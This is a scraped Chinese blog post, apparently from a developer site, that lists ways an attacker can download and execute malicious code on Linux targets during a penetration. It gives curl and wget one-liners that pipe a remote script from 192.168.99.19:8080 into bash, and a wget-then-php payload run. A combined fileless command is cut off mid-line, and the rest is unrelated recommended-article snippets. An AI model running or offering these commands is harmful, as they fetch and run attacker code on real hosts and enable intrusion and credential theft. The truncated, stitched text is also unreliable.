通过命令下载执行恶意代码的几种姿势

在渗透过程中，攻击者往往需要通过命令下载执行恶意代码，实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。

在目标主机执行恶意代码，可以分为上传/下载并执行恶意代码和无文件远程恶意代码执行。接下来，我们来总结一下Linux和Windows中下载和执行恶意代码的一些姿势。

一、Linux 远程恶意代码执行

01、curl

以用curl的方式执行http页面上的shell脚本，无需download，在本地机器上直接执行。

方式1：curl -fsSL http://192.168.99.19:8080/test.sh | bash方式2：bash < <( curl http://192.168.99.19:8080/test.sh  )

02、wget

执行wget命令远程下载恶意程序。

方式1：wget -q -O- http://192.168.99.19:8080/test.sh | bash方式2：wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php

curl+wget合并，实现无文件远程恶意代码执行。

bash -c '(curl -fsSL http://192.168.99.19:8080/test.sh||wget -q -O- http

通过命令下载执行恶意代码的几种姿势相关推荐

VMware Mac版本漏洞可任意执行恶意代码
日前安全研究人员发现了一个存在于虚拟化软件VMware Mac版本Fusion中的严重安全漏洞,该漏洞可以通过Windows虚拟机在Mac主机上执行恶意代码,VMware已经发布了Fusion 2.0 ...
Spring中Bean创建完成后执行指定代码的几种实现方式
Spring中Bean创建完成后执行指定代码的几种实现方式 1. 实现ApplicationListener接口 2. 实现InitializingBean接口 3. 使用@PostConstruct ...
cscript 执行代码_在Windows上执行恶意代码 by cscriptmshta
Windows自带的可执行文件+合理构造的payload脚本=获得会话 cscript 简介在cscript.exe来寻找和连接脚本的运行库,最常见的有VBScript和JavaScript. WS ...
涨见识了，在终端执行 Python 代码的 6 种方式
作者 | BRETT CANNON 译者 | 豌豆花下猫@Python猫为了我们推出的 VS Code 的 Python 插件[1],我写了一个简单的脚本来生成变更日志[2](类似于Towncrie ...
在终端执行 Python 代码的 6 种方法，原来还能这样！
来自 | Python猫编译 | 豌豆花下猫原作 | BRETT CANNON 为了我们推出的 VS Code 的 Python 插件[1],我写了一个简单的脚本来生成变更日志[2](类似于To ...
python交互式方式、代码文件方式_涨见识了，在终端执行 Python 代码的 6 种方式
原作:BRETT CANNON 译者:豌豆花下猫@Python猫英文:https://snarky.ca/the-many-ways-to-pass-code-to-python-from-the- ...
python花猫_涨见识了，在终端执行 Python 代码的 6 种方式！
原作: BRETT CANNON 译者:豌豆花下猫@Python猫英文: https://snarky.ca/the-many-ways-to-pass-code-to-python-from-th ...
执行python代码的方式_涨见识了，在终端执行 Python 代码的 6 种方式！
译者:豌豆花下猫@Python猫为了我们推出的 VS Code 的 Python 插件 [1],我写了一个简单的脚本来生成变更日志 [2](类似于Towncrier [3],但简单些,支持 Mark ...
用命令行执行java代码

通过命令下载执行恶意代码的几种姿势

通过命令下载执行恶意代码的几种姿势相关推荐

最新文章

热门文章